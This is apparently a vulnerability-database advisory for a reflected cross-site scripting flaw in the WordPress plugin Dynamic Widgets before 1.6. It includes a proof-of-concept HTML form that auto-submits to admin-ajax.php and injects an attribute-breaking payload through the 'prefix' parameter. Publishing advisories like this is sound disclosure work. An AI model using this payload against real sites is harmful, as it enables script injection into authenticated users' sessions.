WordPress Plugin Vulnerabilities

Dynamic Widgets < 1.6 - Reflected Cross-Site Scripting

Description

The plugin does not escape the prefix parameter before outputting it back in an attribute when using the term_tree AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="term_tree" />
      <input type="hidden" name="prefix" value='xxxxxx" onmouseover=alert(/XSS/) test="' />
      <input type="hidden" name="name" value="Uncategorizedory" />
      <input type="hidden" name="widget_id" value="1" />
      <input type="hidden" name="id" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Affects Plugins

Fixed in 1.6

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-12-28 (about 2 years ago)
Added
2022-01-26 (about 2 years ago)
Last Updated
2023-09-25 (about 7 months ago)

Other